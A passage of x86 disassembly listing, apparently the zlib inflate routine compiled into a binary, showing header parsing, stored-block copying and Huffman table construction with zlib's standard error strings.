sub_602622+9Cj add [esi+30h], eax mov ecx, [esi+30h] mov edx, [esi+28h] cmp ecx, edx jnz short loc_6026E8 and dword ptr [esi+30h], 0 loc_6026E8: ; CODE XREF: sub_602622+C0j mov ecx, [esi+2Ch] cmp ecx, edx jnb short loc_6026F4 add ecx, eax mov [esi+2Ch], ecx loc_6026F4: ; CODE XREF: sub_602622+70j ; sub_602622+CBj xor eax, eax loc_6026F6: ; CODE XREF: sub_602622+2Dj pop esi pop ebx leave retn sub_602622 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6026FA proc near ; CODE XREF: sub_60510C+47p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h Dst = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h Size = dword ptr -0Ch var_8 = dword ptr -8 Src = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_0] push ebx xor ecx, ecx cmp eax, ecx push esi push edi jz loc_603745 mov esi, [eax+1Ch] cmp esi, ecx jz loc_603745 cmp [eax+0Ch], ecx jz loc_603745 cmp [eax], ecx jnz short loc_602731 cmp [eax+4], ecx jnz loc_603745 loc_602731: ; CODE XREF: sub_6026FA+2Cj cmp dword ptr [esi], 0Bh jnz short loc_60273C mov dword ptr [esi], 0Ch loc_60273C: ; CODE XREF: sub_6026FA+3Aj mov edx, [eax+0Ch] mov edi, [eax] mov ebx, [esi+38h] mov [ebp+Dst], edx mov edx, [eax+10h] mov eax, [eax+4] mov [ebp+Src], edi mov edi, [esi+3Ch] mov [ebp+var_14], edx mov [ebp+var_8], eax mov [ebp+var_10], ebx mov [ebp+var_2C], eax mov [ebp+var_20], edx mov [ebp+var_24], ecx jmp loc_60373A ; --------------------------------------------------------------------------- loc_60276A: ; CODE XREF: sub_6026FA+1045j jmp ds:off_60386A[eax*4] loc_602771: ; DATA XREF: .text:off_60386Ao mov eax, [esi+8] test eax, eax jnz short loc_6027A5 mov dword ptr [esi], 0Ch jmp loc_60373A ; --------------------------------------------------------------------------- loc_602783: ; CODE XREF: sub_6026FA+AEj cmp [ebp+var_8], 0 jz loc_603788 mov ecx, [ebp+Src] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add ebx, edx inc [ebp+Src] mov [ebp+var_10], ebx add edi, 8 loc_6027A5: ; CODE XREF: sub_6026FA+7Cj cmp edi, 10h jb short loc_602783 test al, 2 jz short loc_6027EF cmp ebx, 8B1Fh jnz short loc_6027EF xor edi, edi push edi push edi push edi call sub_6015F3 mov [esi+18h], eax push 2 lea eax, [ebp+var_18] push eax mov [ebp+var_18], 1Fh mov [ebp+var_17], 8Bh push dword ptr [esi+18h] call sub_6015F3 add esp, 18h xor ebx, ebx mov [esi+18h], eax mov [ebp+var_10], ebx mov dword ptr [esi], 1 jmp loc_60373A ; --------------------------------------------------------------------------- loc_6027EF: ; CODE XREF: sub_6026FA+B2j ; sub_6026FA+BAj mov eax, [esi+20h] and dword ptr [esi+10h], 0 test eax, eax jz short loc_6027FE or dword ptr [eax+30h], 0FFFFFFFFh loc_6027FE: ; CODE XREF: sub_6026FA+FEj test byte ptr [esi+8], 1 jz loc_60288A mov eax, ebx and eax, 0FFh shl eax, 8 mov ecx, ebx shr ecx, 8 add eax, ecx push 1Fh xor edx, edx pop ecx div ecx test edx, edx jnz short loc_60288A mov eax, ebx and al, 0Fh cmp al, 8 jnz loc_6028C8 shr ebx, 4 mov ecx, ebx and ecx, 0Fh add ecx, 8 sub edi, 4 cmp ecx, [esi+24h] mov [ebp+var_10], ebx jbe short loc_602855 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size" jmp loc_603734 ; --------------------------------------------------------------------------- loc_602855: ; CODE XREF: sub_6026FA+14Aj xor eax, eax xor edi, edi inc eax shl eax, cl push edi push edi push edi mov [esi+14h], eax call loc_601185 mov ecx, [ebp+arg_0] shr ebx, 8 not ebx and ebx, 2 or ebx, 9 mov [esi+18h], eax mov [ecx+30h], eax add esp, 0Ch mov [esi], ebx xor ebx, ebx mov [ebp+var_10], ebx jmp loc_60373A ; --------------------------------------------------------------------------- loc_60288A: ; CODE XREF: sub_6026FA+108j ; sub_6026FA+128j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aIncorrectHeade ; "incorrect header check" jmp loc_603734 ; --------------------------------------------------------------------------- loc_602899: ; CODE XREF: sub_6026FA+1C4j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] mov [ebp+var_10], ebx add edi, 8 loc_6028BB: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060386Eo cmp edi, 10h jb short loc_602899 cmp bl, 8 mov [esi+10h], ebx jz short loc_6028D7 loc_6028C8: ; CODE XREF: sub_6026FA+130j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aUnknownCompres ; "unknown compression method" jmp loc_603734 ; --------------------------------------------------------------------------- loc_6028D7: ; CODE XREF: sub_6026FA+1CCj test bh, 0E0h jz short loc_6028EB mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aUnknownHeaderF ; "unknown header flags set" jmp loc_603734 ; --------------------------------------------------------------------------- loc_6028EB: ; CODE XREF: sub_6026FA+1E0j mov eax, [esi+20h] test eax, eax jz short loc_6028FC mov ecx, ebx shr ecx, 8 and ecx, 1 mov [eax], ecx loc_6028FC: ; CODE XREF: sub_6026FA+1F6j test byte ptr [esi+11h], 2 jz short loc_60291F mov [ebp+var_18], bl push 2 lea eax, [ebp+var_18] shr ebx, 8 push eax mov [ebp+var_17], bl push dword ptr [esi+18h] call sub_6015F3 add esp, 0Ch mov [esi+18h], eax loc_60291F: ; CODE XREF: sub_6026FA+206j xor ebx, ebx xor edi, edi mov dword ptr [esi], 2 jmp short loc_60294A ; --------------------------------------------------------------------------- loc_60292B: ; CODE XREF: sub_6026FA+253j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_60294A: ; CODE XREF: sub_6026FA:loc_60276Aj ; sub_6026FA+22Fj ; DATA XREF: ... cmp edi, 20h jb short loc_60292B mov eax, [esi+20h] test eax, eax jz short loc_602959 mov [eax+4], ebx loc_602959: ; CODE XREF: sub_6026FA+25Aj test byte ptr [esi+11h], 2 jz short loc_60298C mov eax, ebx shr eax, 8 mov [ebp+var_17], al mov eax, ebx shr eax, 10h mov [ebp+var_16], al mov [ebp+var_18], bl push 4 lea eax, [ebp+var_18] shr ebx, 18h push eax mov [ebp+var_15], bl push dword ptr [esi+18h] call sub_6015F3 add esp, 0Ch mov [esi+18h], eax loc_60298C: ; CODE XREF: sub_6026FA+263j xor ebx, ebx xor edi, edi mov dword ptr [esi], 3 jmp short loc_6029B7 ; --------------------------------------------------------------------------- loc_602998: ; CODE XREF: sub_6026FA+2C0j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_6029B7: ; CODE XREF: sub_6026FA:loc_60276Aj ; sub_6026FA+29Cj ; DATA XREF: ... cmp edi, 10h jb short loc_602998 mov eax, [esi+20h] test eax, eax jz short loc_6029D9 mov ecx, ebx and ecx, 0FFh mov [eax+8], ecx mov ecx, [esi+20h] mov eax, ebx shr eax, 8 mov [ecx+0Ch], eax loc_6029D9: ; CODE XREF: sub_6026FA+2C7j test byte ptr [esi+11h], 2 jz short loc_6029FC mov [ebp+var_18], bl push 2 lea eax, [ebp+var_18] shr ebx, 8 push eax mov [ebp+var_17], bl push dword ptr [esi+18h] call sub_6015F3 add esp, 0Ch mov [esi+18h], eax loc_6029FC: ; CODE XREF: sub_6026FA+2E3j xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi mov dword ptr [esi], 4 loc_602A09: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060387Ao test byte ptr [esi+11h], 4 jnz loc_602A95 mov eax, [esi+20h] test eax, eax jz short loc_602A1E and dword ptr [eax+10h], 0 loc_602A1E: ; CODE XREF: sub_6026FA+31Ej ; sub_6026FA+3D7j mov dword ptr [esi], 5 loc_602A24: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060387Eo test byte ptr [esi+11h], 4 jz loc_602B1B mov edx, [esi+40h] mov eax, [ebp+var_8] cmp edx, eax mov [ebp+Size], edx jbe short loc_602A3E mov [ebp+Size], eax loc_602A3E: ; CODE XREF: sub_6026FA+33Fj cmp [ebp+Size], 0 jz loc_602B11 mov ecx, [esi+20h] test ecx, ecx jz loc_602AEB mov eax, [ecx+10h] test eax, eax mov [ebp+var_28], eax jz loc_602AEB mov eax, [ecx+14h] mov ecx, [ecx+18h] sub eax, edx mov edx, [ebp+Size] add edx, eax cmp edx, ecx jbe short loc_602AD6 sub ecx, eax jmp short loc_602AD9 ; --------------------------------------------------------------------------- loc_602A76: ; CODE XREF: sub_6026FA+39Ej cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_602A95: ; CODE XREF: sub_6026FA+313j cmp edi, 10h jb short loc_602A76 mov eax, [esi+20h] test eax, eax mov [esi+40h], ebx jz short loc_602AA7 mov [eax+14h], ebx loc_602AA7: ; CODE XREF: sub_6026FA+3A8j test byte ptr [esi+11h], 2 jz short loc_602ACA mov [ebp+var_18], bl push 2 lea eax, [ebp+var_18] shr ebx, 8 push eax mov [ebp+var_17], bl push dword ptr [esi+18h] call sub_6015F3 add esp, 0Ch mov [esi+18h], eax loc_602ACA: ; CODE XREF: sub_6026FA+3B1j xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi jmp loc_602A1E ; --------------------------------------------------------------------------- loc_602AD6: ; CODE XREF: sub_6026FA+376j mov ecx, [ebp+Size] loc_602AD9: ; CODE XREF: sub_6026FA+37Aj push ecx ; Size mov ecx, [ebp+var_28] push [ebp+Src] ; Src add ecx, eax push ecx ; Dst call _memcpy add esp, 0Ch loc_602AEB: ; CODE XREF: sub_6026FA+353j ; sub_6026FA+361j test byte ptr [esi+11h], 2 jz short loc_602B05 push [ebp+Size] push [ebp+Src] push dword ptr [esi+18h] call sub_6015F3 add esp, 0Ch mov [esi+18h], eax loc_602B05: ; CODE XREF: sub_6026FA+3F5j mov eax, [ebp+Size] sub [ebp+var_8], eax add [ebp+Src], eax sub [esi+40h], eax loc_602B11: ; CODE XREF: sub_6026FA+348j cmp dword ptr [esi+40h], 0 jnz loc_603788 loc_602B1B: ; CODE XREF: sub_6026FA+32Ej and dword ptr [esi+40h], 0 mov dword ptr [esi], 6 loc_602B25: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:00603882o test byte ptr [esi+11h], 8 jz short loc_602BA3 cmp [ebp+var_8], 0 jz loc_603788 xor ecx, ecx loc_602B37: ; CODE XREF: sub_6026FA+477j mov eax, [ebp+Src] movzx eax, byte ptr [ecx+eax] inc ecx mov [ebp+Size], ecx mov ecx, [esi+20h] test ecx, ecx mov [ebp+var_28], eax jz short loc_602B67 mov edx, [ecx+1Ch] test edx, edx mov [ebp+var_30], edx jz short loc_602B67 mov edx, [esi+40h] cmp edx, [ecx+20h] jnb short loc_602B67 mov ecx, [ebp+var_30] mov [ecx+edx], al inc dword ptr [esi+40h] loc_602B67: ; CODE XREF: sub_6026FA+450j ; sub_6026FA+45Aj ... test eax, eax jz short loc_602B73 mov ecx, [ebp+Size] cmp ecx, [ebp+var_8] jb short loc_602B37 loc_602B73: ; CODE XREF: sub_6026FA+46Fj test byte ptr [esi+11h], 2 jz short loc_602B90 push [ebp+Size] push [ebp+Src] push dword ptr [esi+18h] call sub_6015F3 mov [esi+18h], eax mov eax, [ebp+var_28] add esp, 0Ch loc_602B90: ; CODE XREF: sub_6026FA+47Dj mov ecx, [ebp+Size] sub [ebp+var_8], ecx add [ebp+Src], ecx test eax, eax jnz loc_603788 jmp short loc_602BAE ; --------------------------------------------------------------------------- loc_602BA3: ; CODE XREF: sub_6026FA+42Fj mov eax, [esi+20h] test eax, eax jz short loc_602BAE and dword ptr [eax+1Ch], 0 loc_602BAE: ; CODE XREF: sub_6026FA+4A7j ; sub_6026FA+4AEj and dword ptr [esi+40h], 0 mov dword ptr [esi], 7 loc_602BB8: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:00603886o test byte ptr [esi+11h], 10h jz short loc_602C3A cmp [ebp+var_8], 0 jz loc_603788 and [ebp+Size], 0 loc_602BCC: ; CODE XREF: sub_6026FA+50Ej mov ecx, [ebp+Size] mov eax, [ebp+Src] movzx eax, byte ptr [ecx+eax] mov ecx, [esi+20h] inc [ebp+Size] test ecx, ecx mov [ebp+var_28], eax jz short loc_602BFE mov edx, [ecx+24h] test edx, edx mov [ebp+var_30], edx jz short loc_602BFE mov edx, [esi+40h] cmp edx, [ecx+28h] jnb short loc_602BFE mov ecx, [ebp+var_30] mov [ecx+edx], al inc dword ptr [esi+40h] loc_602BFE: ; CODE XREF: sub_6026FA+4E7j ; sub_6026FA+4F1j ... test eax, eax jz short loc_602C0A mov ecx, [ebp+Size] cmp ecx, [ebp+var_8] jb short loc_602BCC loc_602C0A: ; CODE XREF: sub_6026FA+506j test byte ptr [esi+11h], 2 jz short loc_602C27 push [ebp+Size] push [ebp+Src] push dword ptr [esi+18h] call sub_6015F3 mov [esi+18h], eax mov eax, [ebp+var_28] add esp, 0Ch loc_602C27: ; CODE XREF: sub_6026FA+514j mov ecx, [ebp+Size] sub [ebp+var_8], ecx add [ebp+Src], ecx test eax, eax jnz loc_603788 jmp short loc_602C45 ; --------------------------------------------------------------------------- loc_602C3A: ; CODE XREF: sub_6026FA+4C2j mov eax, [esi+20h] test eax, eax jz short loc_602C45 and dword ptr [eax+24h], 0 loc_602C45: ; CODE XREF: sub_6026FA+53Ej ; sub_6026FA+545j mov dword ptr [esi], 8 loc_602C4B: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060388Ao test byte ptr [esi+11h], 2 jz short loc_602C9C jmp short loc_602C75 ; --------------------------------------------------------------------------- loc_602C53: ; CODE XREF: sub_6026FA+57Ej cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] mov [ebp+var_10], ebx add edi, 8 loc_602C75: ; CODE XREF: sub_6026FA+557j cmp edi, 10h jb short loc_602C53 mov eax, [esi+18h] and eax, 0FFFFh cmp ebx, eax jz short loc_602C95 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aHeaderCrcMisma ; "header crc mismatch" jmp loc_603734 ; --------------------------------------------------------------------------- loc_602C95: ; CODE XREF: sub_6026FA+58Aj xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi loc_602C9C: ; CODE XREF: sub_6026FA+555j mov eax, [esi+20h] test eax, eax jz short loc_602CB7 mov edx, [esi+10h] xor ecx, ecx inc ecx sar edx, 9 and edx, ecx mov [eax+2Ch], edx mov eax, [esi+20h] mov [eax+30h], ecx loc_602CB7: ; CODE XREF: sub_6026FA+5A7j xor eax, eax push eax push eax push eax call sub_6015F3 mov ecx, [ebp+arg_0] mov [esi+18h], eax add esp, 0Ch mov [ecx+30h], eax loc_602CCD: ; CODE XREF: sub_6026FA+785j ; sub_6026FA+CC3j mov dword ptr [esi], 0Bh jmp loc_60373A ; --------------------------------------------------------------------------- loc_602CD8: ; CODE XREF: sub_6026FA+603j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] mov [ebp+var_10], ebx add edi, 8 loc_602CFA: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060388Eo cmp edi, 20h jb short loc_602CD8 mov eax, ebx and eax, 0FF00h mov ecx, ebx shl ecx, 10h add eax, ecx xor ecx, ecx mov ch, byte ptr [ebp+var_10+2] shl eax, 8 shr ebx, 18h add eax, ecx mov ecx, [ebp+arg_0] add eax, ebx mov [esi+18h], eax mov [ecx+30h], eax xor ebx, ebx xor edi, edi mov dword ptr [esi], 0Ah jmp short loc_602D34 ; --------------------------------------------------------------------------- loc_602D31: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:00603892o mov ecx, [ebp+arg_0] loc_602D34: ; CODE XREF: sub_6026FA+635j cmp dword ptr [esi+0Ch], 0 jz loc_60374D xor eax, eax push eax push eax push eax call loc_601185 mov ecx, [ebp+arg_0] mov [esi+18h], eax mov [ecx+30h], eax add esp, 0Ch mov dword ptr [esi], 0Bh loc_602D5A: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:00603896o cmp [ebp+arg_4], 5 jz loc_603788 loc_602D64: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060389Ao cmp dword ptr [esi+4], 0 jz short loc_602DA0 mov ecx, edi and ecx, 7 shr ebx, cl sub edi, ecx mov dword ptr [esi], 18h mov [ebp+var_10], ebx jmp loc_60373A ; --------------------------------------------------------------------------- loc_602D81: ; CODE XREF: sub_6026FA+6A9j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_602DA0: ; CODE XREF: sub_6026FA+66Ej cmp edi, 3 jb short loc_602D81 mov eax, ebx and eax, 1 shr ebx, 1 mov [esi+4], eax mov eax, ebx and eax, 3 dec edi sub eax, 0 jz short loc_602E01 dec eax jz short loc_602DDD dec eax jz short loc_602DD5 dec eax jnz short loc_602E07 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov dword ptr [esi], 1Bh jmp short loc_602E07 ; --------------------------------------------------------------------------- loc_602DD5: ; CODE XREF: sub_6026FA+6C4j mov dword ptr [esi], 0Fh jmp short loc_602E07 ; --------------------------------------------------------------------------- loc_602DDD: ; CODE XREF: sub_6026FA+6C1j mov dword ptr [esi+4Ch], offset asc_60B1E8 ; "`\a" mov dword ptr [esi+54h], 9 mov dword ptr [esi+50h], offset dword_60B9E8 mov dword ptr [esi+58h], 5 mov dword ptr [esi], 12h jmp short loc_602E07 ; --------------------------------------------------------------------------- loc_602E01: ; CODE XREF: sub_6026FA+6BEj mov dword ptr [esi], 0Dh loc_602E07: ; CODE XREF: sub_6026FA+6C7j ; sub_6026FA+6D9j ... shr ebx, 2 dec edi mov [ebp+var_10], ebx dec edi jmp loc_60373A ; --------------------------------------------------------------------------- loc_602E14: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:0060389Eo mov ecx, edi and ecx, 7 shr ebx, cl sub edi, ecx jmp short loc_602E3E ; --------------------------------------------------------------------------- loc_602E1F: ; CODE XREF: sub_6026FA+74Aj cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_602E3E: ; CODE XREF: sub_6026FA+723j cmp edi, 20h mov [ebp+var_10], ebx jb short loc_602E1F mov ecx, ebx mov eax, ebx not ecx and eax, 0FFFFh shr ecx, 10h cmp eax, ecx jz short loc_602E67 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths" jmp loc_603734 ; --------------------------------------------------------------------------- loc_602E67: ; CODE XREF: sub_6026FA+75Cj xor ebx, ebx mov [esi+40h], eax mov [ebp+var_10], ebx xor edi, edi mov dword ptr [esi], 0Eh loc_602E77: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038A2o mov eax, [esi+40h] test eax, eax mov [ebp+Size], eax jz loc_602CCD mov eax, [ebp+var_8] cmp [ebp+Size], eax jbe short loc_602E90 mov [ebp+Size], eax loc_602E90: ; CODE XREF: sub_6026FA+791j mov eax, [ebp+var_14] cmp [ebp+Size], eax jbe short loc_602E9B mov [ebp+Size], eax loc_602E9B: ; CODE XREF: sub_6026FA+79Cj cmp [ebp+Size], 0 jz loc_603788 push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+Dst] ; Dst call _memcpy mov eax, [ebp+Size] sub [ebp+var_8], eax add [ebp+Src], eax sub [ebp+var_14], eax add [ebp+Dst], eax add esp, 0Ch sub [esi+40h], eax jmp loc_60373A ; --------------------------------------------------------------------------- loc_602ECD: ; CODE XREF: sub_6026FA+7F5j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_602EEC: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038A6o cmp edi, 0Eh jb short loc_602ECD mov eax, ebx and eax, 1Fh add eax, 101h mov [esi+60h], eax shr ebx, 5 mov eax, ebx and eax, 1Fh inc eax shr ebx, 5 mov [esi+64h], eax mov eax, ebx and eax, 0Fh add eax, 4 shr ebx, 4 sub edi, 0Eh cmp dword ptr [esi+60h], 11Eh mov [esi+5Ch], eax mov [ebp+var_10], ebx ja short loc_602F3C cmp dword ptr [esi+64h], 1Eh ja short loc_602F3C and dword ptr [esi+68h], 0 mov dword ptr [esi], 10h jmp short loc_602F92 ; --------------------------------------------------------------------------- loc_602F3C: ; CODE XREF: sub_6026FA+82Ej ; sub_6026FA+834j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" jmp loc_603734 ; --------------------------------------------------------------------------- loc_602F4B: ; CODE XREF: sub_6026FA+873j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_602F6A: ; CODE XREF: sub_6026FA+89Ej cmp edi, 3 jb short loc_602F4B mov ecx, [esi+68h] movzx ecx, ds:word_60BA68[ecx*2] xor eax, eax mov al, bl shr ebx, 3 mov [ebp+var_10], ebx and eax, 7 mov [esi+ecx*2+70h], ax inc dword ptr [esi+68h] sub edi, 3 loc_602F92: ; CODE XREF: sub_6026FA:loc_60276Aj ; sub_6026FA+840j ; DATA XREF: ... mov eax, [esi+68h] cmp eax, [esi+5Ch] jb short loc_602F6A jmp short loc_602FB0 ; --------------------------------------------------------------------------- loc_602F9C: ; CODE XREF: sub_6026FA+8BAj mov eax, [esi+68h] movzx eax, ds:word_60BA68[eax*2] and word ptr [esi+eax*2+70h], 0 inc dword ptr [esi+68h] loc_602FB0: ; CODE XREF: sub_6026FA+8A0j cmp dword ptr [esi+68h], 13h jb short loc_602F9C lea eax, [esi+530h] lea ecx, [esi+6Ch] mov [ecx], eax mov [esi+4Ch], eax lea edx, [esi+2F0h] push edx lea eax, [esi+54h] push eax push ecx mov dword ptr [eax], 7 push 13h lea eax, [esi+70h] push eax push 0 call sub_60391C add esp, 18h test eax, eax mov [ebp+var_24], eax jz short loc_602FFC mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidCodeLen ; "invalid code lengths set" jmp loc_603734 ; --------------------------------------------------------------------------- loc_602FFC: ; CODE XREF: sub_6026FA+8F1j and dword ptr [esi+68h], 0 mov dword ptr [esi], 11h jmp loc_603199 ; --------------------------------------------------------------------------- loc_60300B: ; CODE XREF: sub_6026FA+949j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_60302A: ; CODE XREF: sub_6026FA+AA8j mov ecx, [esi+54h] xor eax, eax inc eax shl eax, cl mov ecx, [esi+4Ch] dec eax and eax, ebx mov eax, [ecx+eax*4] movzx ecx, ah cmp ecx, edi mov [ebp+Size], eax ja short loc_60300B cmp word ptr [ebp+Size+2], 10h jnb short loc_603091 movzx eax, ah jmp short loc_603070 ; --------------------------------------------------------------------------- loc_603051: ; CODE XREF: sub_6026FA+978j cmp [ebp+var_8], 0 jz loc_603788 mov ecx, [ebp+Src] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add ebx, edx inc [ebp+Src] add edi, 8 loc_603070: ; CODE XREF: sub_6026FA+955j cmp edi, eax jb short loc_603051 mov ecx, eax shr ebx, cl mov cx, word ptr [ebp+Size+2] sub edi, eax mov eax, [esi+68h] mov [esi+eax*2+70h], cx inc dword ptr [esi+68h] mov [ebp+var_10], ebx jmp loc_603199 ; --------------------------------------------------------------------------- loc_603091: ; CODE XREF: sub_6026FA+950j jnz short loc_6030EC movzx eax, ah jmp short loc_6030B7 ; --------------------------------------------------------------------------- loc_603098: ; CODE XREF: sub_6026FA+9C2j cmp [ebp+var_8], 0 jz loc_603788 mov ecx, [ebp+Src] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add ebx, edx inc [ebp+Src] add edi, 8 loc_6030B7: ; CODE XREF: sub_6026FA+99Cj lea ecx, [eax+2] cmp edi, ecx jb short loc_603098 mov ecx, eax shr ebx, cl sub edi, eax mov eax, [esi+68h] test eax, eax mov [ebp+var_10], ebx jz loc_6031AA movzx eax, word ptr [esi+eax*2+6Eh] mov [ebp+var_28], eax mov eax, ebx and eax, 3 add eax, 3 shr ebx, 2 dec edi dec edi jmp loc_603171 ; --------------------------------------------------------------------------- loc_6030EC: ; CODE XREF: sub_6026FA:loc_603091j cmp word ptr [ebp+Size+2], 11h movzx edx, ah jnz short loc_603150 jmp short loc_603117 ; --------------------------------------------------------------------------- loc_6030F8: ; CODE XREF: sub_6026FA+A22j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_603117: ; CODE XREF: sub_6026FA+9FCj lea eax, [edx+3] cmp edi, eax jb short loc_6030F8 mov ecx, edx shr ebx, cl push 0FFFFFFFDh mov eax, ebx and eax, 7 add eax, 3 shr ebx, 3 jmp short loc_603168 ; --------------------------------------------------------------------------- loc_603131: ; CODE XREF: sub_6026FA+A5Bj cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] add edi, 8 loc_603150: ; CODE XREF: sub_6026FA+9FAj lea eax, [edx+7] cmp edi, eax jb short loc_603131 mov ecx, edx shr ebx, cl push 0FFFFFFF9h mov eax, ebx and eax, 7Fh add eax, 0Bh shr ebx, 7 loc_603168: ; CODE XREF: sub_6026FA+A35j and [ebp+var_28], 0 pop ecx sub ecx, edx add edi, ecx loc_603171: ; CODE XREF: sub_6026FA+9EDj mov ecx, [esi+64h] mov edx, [esi+68h] add ecx, [esi+60h] add edx, eax cmp edx, ecx mov [ebp+var_10], ebx ja short loc_6031B9 test eax, eax jz short loc_603199 loc_603187: ; CODE XREF: sub_6026FA+A9Dj mov ecx, [esi+68h] mov dx, word ptr [ebp+var_28] mov [esi+ecx*2+70h], dx inc dword ptr [esi+68h] dec eax jnz short loc_603187 loc_603199: ; CODE XREF: sub_6026FA:loc_60276Aj ; sub_6026FA+90Cj ... mov eax, [esi+64h] add eax, [esi+60h] cmp [esi+68h], eax jb loc_60302A jmp short loc_6031C9 ; --------------------------------------------------------------------------- loc_6031AA: ; CODE XREF: sub_6026FA+9D2j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat" jmp loc_603734 ; --------------------------------------------------------------------------- loc_6031B9: ; CODE XREF: sub_6026FA+A87j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov dword ptr [esi], 1Bh loc_6031C9: ; CODE XREF: sub_6026FA+AAEj cmp dword ptr [esi], 1Bh jz loc_60373A lea eax, [esi+530h] lea ecx, [esi+6Ch] mov [ecx], eax mov [esi+4Ch], eax lea edx, [esi+2F0h] push edx lea eax, [esi+54h] push eax push ecx push dword ptr [esi+60h] mov dword ptr [eax], 9 lea eax, [esi+70h] push eax push 1 call sub_60391C add esp, 18h test eax, eax mov [ebp+var_24], eax jz short loc_603219 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidLiter_0 ; "invalid literal/lengths set" jmp loc_603734 ; --------------------------------------------------------------------------- loc_603219: ; CODE XREF: sub_6026FA+B0Ej lea ecx, [esi+6Ch] mov eax, [ecx] mov [esi+50h], eax lea edx, [esi+2F0h] push edx lea eax, [esi+58h] push eax push ecx push dword ptr [esi+64h] mov dword ptr [eax], 6 mov eax, [esi+60h] lea eax, [esi+eax*2+70h] push eax push 2 call sub_60391C add esp, 18h test eax, eax mov [ebp+var_24], eax jz short loc_60325E mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidDista_1 ; "invalid distances set" jmp loc_603734 ; 